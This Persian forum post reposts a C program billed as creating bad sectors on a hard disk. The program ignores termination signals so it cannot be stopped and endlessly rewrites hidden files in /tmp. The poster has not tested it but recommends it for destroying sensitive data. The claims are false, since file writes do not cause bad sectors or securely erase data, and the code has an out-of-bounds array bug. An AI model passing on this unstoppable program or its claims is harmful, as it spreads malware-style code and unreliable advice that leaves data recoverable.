===============
ایجاد Bad sector در هارد
===============
شاید بشود گفت که بدترین مشکلی که ممکن است در رابطه با یک هارد داشته باشیم ، این است که هارد ما
بهر علتی (چه فیزیکی و چه نرم افزاری) ، دارای Bad sector بشود.
زمانیکه نقطه یا نقاطی از هاردی Bad sector بشود ، اطلاعات موجود در این نقاط به احتمال زیاد قابل ریکاور کردن
نخواهند بود.
ویروس هائی هم وجود دارند که کارشان ایجاد Bad sector در هارد می باشد.
نرم افزار های مختلفی هم در رابطه با تعمیر هارد های دارای Bad sector وجود دارند ولی بطور کلی میشود گفت
که این نرم افزار ها هم کار زیادی انجام نمی دهند و بیشتر آن ها فقط نقاط Bad sector را شناسائی کرده و کاری
میکنند که آن قسمت ها از دید ویندوز بیرون باشد و از حجم کلی هارد کم شود تا مجددا" اطلاعاتی در آن جا ها
نوشته نشود.
اما بحث امروزمان:
روزی در صفحه ای از صفحات اینترنت نویسنده کد های زیر را داده بود و نوشته بود که این کد ها را توسط کامپایلر زبان
برنامه نویسی C کامپایل کنید:
کد HTML:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}
و سپس ادامه داده بود که اگر فایل اجرائی حاصل را اجرا کنید ، کارش این است که شروع به ایجاد Bad sector ها
در هارد خواهد کرد و هرچقدر بیشتر کار کند محل های بیشتری از هارد Bad sector خواهد شد و اگر مدت زیادی
کار کند ، تمام هارد غیر قابل استفاده خواهد شد.
==============
من مورد بالا را نه تست کرده ام و نه جرئت میکنم تست کنم و نه مطمئن هستم که اینکار را میکند یا نه؟!
منظور من از این مطلب دو نکته زیر بود:
1. مطلبی را در اینجا قرار دهم که با عنوان تاپیک هماهنگ باشد.
2. مطلب بالا اگر درست باشد میتواند در مورد زیر بهترین نرم افزار باشد:
__ هستند کاربرانی که در هاردشان اطلاعات بسیار مهم و حیاتی را نگهداری کرده اند. حال بهر علتی روزی تصمیم
میگیرند هارد را فرمت کرده و اطلاعات فوق را نابود کنند.
مسلم است که حتی اگر با نرم افزار های مخصوص هم هارد را پاک کنند ، احتمال بازیابی اطلاعات هنوز وجود دارد.
ولی اگر نرم افزار بالا درست کار کند ، میشود مطمئن شد که احتمال ریکاوری بینهایت پائین خواهد بود.
تا بعد
علاقه مندی ها (بوک مارک ها)